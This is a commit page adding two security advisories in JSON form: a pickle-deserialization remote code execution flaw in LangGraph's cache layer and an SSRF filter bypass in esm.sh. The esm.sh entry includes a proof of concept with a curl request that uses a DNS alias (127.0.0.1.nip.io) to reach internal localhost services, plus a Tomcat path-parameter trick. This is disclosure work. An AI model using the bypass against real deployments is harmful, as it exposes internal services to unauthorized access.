Skip to content

Commit 2a33903

Browse files
1 parent 9badcc5 commit 2a33903

2 files changed

Lines changed: 146 additions & 0 deletions

File tree

Lines changed: 73 additions & 0 deletions
Original file line numberDiff line numberDiff line change
@@ -0,0 +1,73 @@
1+
{
2+
"schema_version": "1.4.0",
3+
"id": "GHSA-mhr3-j7m5-c7c9",
4+
"modified": "2026-02-25T22:59:12Z",
5+
"published": "2026-02-25T22:59:12Z",
6+
"aliases": [
7+
"CVE-2026-27794"
8+
],
9+
"summary": "LangGraph: BaseCache Deserialization of Untrusted Data may lead to Remote Code Execution ",
10+
"details": "## Context\n\nA Remote Code Execution vulnerability exists in LangGraph's caching layer when applications enable cache backends that inherit from `BaseCache` and opt nodes into caching via `CachePolicy`. Prior to `langgraph-checkpoint` 4.0.0, `BaseCache` defaults to `JsonPlusSerializer(pickle_fallback=True)`. When msgpack serialization fails, cached values can be deserialized via `pickle.loads(...)`.\n\n### Who is affected?\n\nCaching is not enabled by default. Applications are affected only when:\n\n- The application explicitly enables a cache backend (for example by passing `cache=...` to `StateGraph.compile(...)` or otherwise configuring a `BaseCache` implementation)\n- One or more nodes opt into caching via `CachePolicy`\n- The attacker can write to the cache backend (for example a network-accessible Redis instance with weak/no auth, shared cache infrastructure reachable by other tenants/services, or a writable SQLite cache file)\n\nExample (enabling a cache backend and opting a node into caching):\n\n```py\nfrom langgraph.cache.memory import InMemoryCache\nfrom langgraph.graph import StateGraph\nfrom langgraph.types import CachePolicy\n\n\ndef my_node(state: dict) -> dict:\n return {\"value\": state.get(\"value\", 0) + 1}\n\n\nbuilder = StateGraph(dict)\nbuilder.add_node(\"my_node\", my_node, cache_policy=CachePolicy(ttl=120))\nbuilder.set_entry_point(\"my_node\")\n\ngraph = builder.compile(cache=InMemoryCache())\n\nresult = graph.invoke({\"value\": 1})\n```\n\nWith `pickle_fallback=True`, when msgpack serialization fails, `JsonPlusSerializer` can fall back to storing values as a `(\"pickle\", <bytes>)` tuple and later deserialize them via `pickle.loads(...)`. If an attacker can place a malicious pickle payload into the cache backend such that the LangGraph process reads and deserializes it, this can lead to arbitrary code execution.\n\nExploitation requires attacker write access to the cache backend. The serializer is not exposed as a network-facing API.\n\nThis is fixed in `langgraph-checkpoint>=4.0.0` by disabling pickle fallback by default (`pickle_fallback=False`).\n\n## Impact\n\nArbitrary code execution in the LangGraph process when attacker-controlled cache entries are deserialized.\n\n## Root Cause\n\n- `BaseCache` default serializer configuration inherited by cache implementations (`InMemoryCache`, `RedisCache`, `SqliteCache`):\n - `libs/checkpoint/langgraph/cache/base/__init__.py` (pre-fix default: `JsonPlusSerializer(pickle_fallback=True)`)\n\n- `JsonPlusSerializer` deserialization sink:\n - `libs/checkpoint/langgraph/checkpoint/serde/jsonplus.py`\n - `loads_typed(...)` calls `pickle.loads(data_)` when `type_ == \"pickle\"` and pickle fallback is enabled\n\n## Attack preconditions\n\nAn attacker must be able to write attacker-controlled bytes into the cache backend such that the LangGraph process later reads and deserializes them.\n\nThis typically requires write access to a networked cache (for example a network-accessible Redis instance with weak/no auth or shared cache infrastructure reachable by other tenants/services) or write access to local cache storage (for example a writable SQLite cache file via permissive file permissions or a shared writable volume).\n\nBecause exploitation requires write access to the cache storage layer, this is a post-compromise / post-access escalation vector.\n\n## Remediation\n\n- Upgrade to `langgraph-checkpoint>=4.0.0`.\n\n## Resources\n\n- ZDI-CAN-28385\n- Patch: https://github.com/langchain-ai/langgraph/pull/6677\n- Patch diff: https://patch-diff.githubusercontent.com/raw/langchain-ai/langgraph/pull/6677.patch\n- Credit: Peter Girnus (@gothburz), Demeng Chen, and Brandon Niemczyk (Trend Micro Zero Day Initiative)",
11+
"severity": [
12+
{
13+
"type": "CVSS_V3",
14+
"score": "CVSS:3.1/AV:N/AC:H/PR:H/UI:N/S:U/C:H/I:H/A:H"
15+
}
16+
],
17+
"affected": [
18+
{
19+
"package": {
20+
"ecosystem": "PyPI",
21+
"name": "langgraph-checkpoint"
22+
},
23+
"ranges": [
24+
{
25+
"type": "ECOSYSTEM",
26+
"events": [
27+
{
28+
"introduced": "0"
29+
},
30+
{
31+
"fixed": "4.0.0"
32+
}
33+
]
34+
}
35+
]
36+
}
37+
],
38+
"references": [
39+
{
40+
"type": "WEB",
41+
"url": "https://github.com/langchain-ai/langgraph/security/advisories/GHSA-mhr3-j7m5-c7c9"
42+
},
43+
{
44+
"type": "ADVISORY",
45+
"url": "https://nvd.nist.gov/vuln/detail/CVE-2026-27794"
46+
},
47+
{
48+
"type": "WEB",
49+
"url": "https://github.com/langchain-ai/langgraph/pull/6677"
50+
},
51+
{
52+
"type": "WEB",
53+
"url": "https://github.com/langchain-ai/langgraph/commit/f91d79d0c86932ded6e3b9f195d5a0bbd5aef99c"
54+
},
55+
{
56+
"type": "PACKAGE",
57+
"url": "https://github.com/langchain-ai/langgraph"
58+
},
59+
{
60+
"type": "WEB",
61+
"url": "https://github.com/langchain-ai/langgraph/releases/tag/checkpoint%3D%3D4.0.0"
62+
}
63+
],
64+
"database_specific": {
65+
"cwe_ids": [
66+
"CWE-502"
67+
],
68+
"severity": "MODERATE",
69+
"github_reviewed": true,
70+
"github_reviewed_at": "2026-02-25T22:59:12Z",
71+
"nvd_published_at": "2026-02-25T18:23:40Z"
72+
}
73+
}
Lines changed: 73 additions & 0 deletions
Original file line numberDiff line numberDiff line change
@@ -0,0 +1,73 @@
1+
{
2+
"schema_version": "1.4.0",
3+
"id": "GHSA-p2v6-84h2-5x4r",
4+
"modified": "2026-02-25T22:57:59Z",
5+
"published": "2026-02-25T22:57:59Z",
6+
"aliases": [
7+
"CVE-2026-27730"
8+
],
9+
"summary": "esm.sh has SSRF localhost/private-network bypass in `/http(s)` module route",
10+
"details": "### Summary\nAn SSRF vulnerability (CWE-918) exists in esm.sh’s `/http(s)` fetch route. \nThe service tries to block localhost/internal targets, but the validation is based on hostname string checks and can be bypassed using DNS alias domains (for example, `127.0.0.1.nip.io` resolving to `127.0.0.1`). \nThis allows an external requester to make the esm.sh server fetch internal localhost services. \nSeverity: High (depending on deployment network exposure).\n\n### Details\nThe vulnerable flow starts at the route handling user-controlled remote URLs:\n\n- `server/router.go:532`\n - Accepts paths beginning with `/http://` or `/https://`.\n ```go\nif strings.HasPrefix(pathname, \"/http://\") || strings.HasPrefix(pathname, \"/https://\") {\n\tquery := ctx.Query()\n\tmodUrl, err := url.Parse(pathname[1:])\n\tif err != nil {\n\t\tctx.SetHeader(\"Cache-Control\", ccImmutable)\n\t\treturn rex.Status(400, \"Invalid URL\")\n\t}\n\tif modUrl.Scheme != \"http\" && modUrl.Scheme != \"https\" {\n\t\tctx.SetHeader(\"Cache-Control\", ccImmutable)\n\t\treturn rex.Status(400, \"Invalid URL\")\n\t}\n\tmodUrlStr := modUrl.String()\n\n\t// disallow localhost or ip address for production\n\tif !DEBUG {\n\t\thostname := modUrl.Hostname()\n\t\tif isLocalhost(hostname) || !valid.IsDomain(hostname) || modUrl.Host == ctx.R.Host {\n\t\t\tctx.SetHeader(\"Cache-Control\", ccImmutable)\n\t\t\treturn rex.Status(400, \"Invalid URL\")\n\t\t}\n\t}\n```\n\nThe internal-target block is string-based:\n\n- `server/router.go:545`\n ```go\n\t\t\t// disallow localhost or ip address for production\n\t\t\tif !DEBUG {\n\t\t\t\thostname := modUrl.Hostname()\n\t\t\t\tif isLocalhost(hostname) || !valid.IsDomain(hostname) || modUrl.Host == ctx.R.Host {\n\t\t\t\t\tctx.SetHeader(\"Cache-Control\", ccImmutable)\n\t\t\t\t\treturn rex.Status(400, \"Invalid URL\")\n\t\t\t\t}\n\t\t\t}\n```\n\nLocalhost detection itself is limited to hostname patterns:\n\n- `server/utils.go:72`\n - `isLocalhost(...)` checks values like `localhost`, `127.0.0.1`, and `192.168.*`.\n - It does **not** validate the resolved destination IP after DNS resolution.\n```go\nfunc isLocalhost(hostname string) bool {\n\treturn hostname == \"localhost\" || strings.HasSuffix(hostname, \".localhost\") || hostname == \"127.0.0.1\" || (valid.IsIPv4(hostname) && strings.HasPrefix(hostname, \"192.168.\"))\n}\n```\n\nFetch proceeds with host-string allowlisting:\n\n- `server/router.go:595-596`\n - `allowedHosts[modUrl.Host] = struct{}{}` then `fetch.NewClient(...allowedHosts)`\n```go\nallowedHosts := map[string]struct{}{}\nallowedHosts[modUrl.Host] = struct{}{}\nfetchClient, recycle := fetch.NewClient(ctx.UserAgent(), 15, false, allowedHosts)\ndefer recycle()\n```\n\n- `internal/fetch/fetch.go:49`\n - Host allowlist compares host strings, not resolved IP class.\n```go\nfunc (c *FetchClient) Fetch(url *url.URL, header http.Header) (resp *http.Response, err error) {\n\tif c.allowedHosts != nil {\n\t\tif _, ok := c.allowedHosts[url.Host]; !ok {\n\t\t\treturn nil, errors.New(\"host not allowed: \" + url.Host)\n\t\t}\n\t}\n\tif c.userAgent != \"\" {\n\t\tif header == nil {\n\t\t\theader = make(http.Header)\n\t\t}\n\t\theader.Set(\"User-Agent\", c.userAgent)\n\t}\n\t// ...\n\treturn c.Do(req)\n}\n```\n\nBecause validation is based on host strings and not on resolved destination IP ranges, domains that resolve to loopback/private IP can bypass protections.\n\n### PoC\nReproduction tested on local Docker deployment.\n\n1. Run esm.sh:\n```bash\ndocker run -d --name esmsh-5558 -p 5558:80 ghcr.io/esm-dev/esm.sh:latest\n```\n\n2. Run an internal localhost-only test service (`secret` response) in the same network namespace:\n- Internal network test server code (app.py):\n```python\nfrom flask import Flask, Response\n\n@app.get('/secret.js')\ndef secret_js():\n return Response('secret;\\n', mimetype='application/javascript')\n\nif __name__ == '__main__':\n app.run(host='0.0.0.0', port=5555)\n```\n\nRun the internal Python server container (same network namespace as `esmsh-5558`):\n```bash\ndocker run -d --name internal-5555 --network container:esmsh-5558 \\\n -v \"<YOUR_PATH>/flask-internal:/app\" -w /app \\\n python:3.11-alpine sh -lc \"pip install --no-cache-dir flask && python app.py\"\n```\n\nSince this server has no Docker port forwarding configured, it is not reachable from outside and is only accessible from the esmsh-5558 container connected on the same network.\n\n4. Since both were running on localhost, I tested it through a Cloudflared tunnel to simulate external access.\n```bash\ncloudflared tunnel --url http://127.0.0.1:5558\n```\n\n5. Trigger SSRF from outside via esm.sh endpoint:\n```bash\ncurl -i \"https://ESM.SH_SERVER/http://127.0.0.1.nip.io:5555/secret.js\"\n```\n\n127.0.0.1 is blocked,\n<img width=\"1206\" height=\"322\" alt=\"image\" src=\"https://github.com/user-attachments/assets/054a7675-5b9e-461a-bb55-9ec7a2b2f43b\" />\n\n\nbut 127.0.0.1.nip.io bypasses the filter. \n<img width=\"1210\" height=\"336\" alt=\"image\" src=\"https://github.com/user-attachments/assets/95b991b1-ff93-495f-b624-458dd48fd5ff\" />\n\n\nThis confirms external requesters can fetch internal localhost service content through esm.sh.\n\n### Impact\nThis is a Server-Side Request Forgery vulnerability (CWE-918).\n\nImpacted:\n- Any esm.sh deployment exposing the `/http(s)` route to untrusted users.\n- Environments where internal services are reachable from the esm.sh server/container network.\n\nPotential consequences:\n- Access to localhost/internal HTTP services not intended for public access.\n- Internal service discovery/probing through the server.\n- Exposure of sensitive internal endpoints (deployment-dependent, e.g., metadata/internal admin APIs).\n- The exploit surface is extension-limited in this route (e.g., \".js\", \".ts\", \".mjs\", \".mts\", \".jsx\", \".tsx\", \".cjs\", \".cts\", \".vue\", \".svelte\", \".md\", \".css\"), so it is not a universal arbitrary-file fetch primitive.\n- Even with that limitation, **attackers can still verify whether internal HTTP services exist** and **retrieve internal JavaScript/Markdown resources (and similar allowed extension content) when present.**\n- If the internal server is implemented with Apache Tomcat, it may interpret everything after ; as a path parameter in a request such as /asdf/;asdf=a.js. As a result, **it could be possible to bypass extension checks while still receiving the response from the intended path.**",
11+
"severity": [
12+
{
13+
"type": "CVSS_V3",
14+
"score": "CVSS:3.0/AV:N/AC:L/PR:N/UI:N/S:C/C:H/I:N/A:N"
15+
}
16+
],
17+
"affected": [
18+
{
19+
"package": {
20+
"ecosystem": "Go",
21+
"name": "github.com/esm-dev/esm.sh"
22+
},
23+
"ranges": [
24+
{
25+
"type": "ECOSYSTEM",
26+
"events": [
27+
{
28+
"introduced": "0"
29+
},
30+
{
31+
"fixed": "0.0.0-20250616164159-0593516c4cfa"
32+
}
33+
]
34+
}
35+
]
36+
}
37+
],
38+
"references": [
39+
{
40+
"type": "WEB",
41+
"url": "https://github.com/esm-dev/esm.sh/security/advisories/GHSA-p2v6-84h2-5x4r"
42+
},
43+
{
44+
"type": "ADVISORY",
45+
"url": "https://nvd.nist.gov/vuln/detail/CVE-2026-27730"
46+
},
47+
{
48+
"type": "WEB",
49+
"url": "https://github.com/esm-dev/esm.sh/pull/1149"
50+
},
51+
{
52+
"type": "WEB",
53+
"url": "https://github.com/esm-dev/esm.sh/commit/0593516c4cfab49ad3b4900416a8432ff2e23eb0"
54+
},
55+
{
56+
"type": "PACKAGE",
57+
"url": "https://github.com/esm-dev/esm.sh"
58+
},
59+
{
60+
"type": "WEB",
61+
"url": "https://github.com/esm-dev/esm.sh/releases/tag/v137"
62+
}
63+
],
64+
"database_specific": {
65+
"cwe_ids": [
66+
"CWE-918"
67+
],
68+
"severity": "HIGH",
69+
"github_reviewed": true,
70+
"github_reviewed_at": "2026-02-25T22:57:59Z",
71+
"nvd_published_at": "2026-02-25T16:23:27Z"
72+
}
73+
}

0 commit comments

Comments
 (0)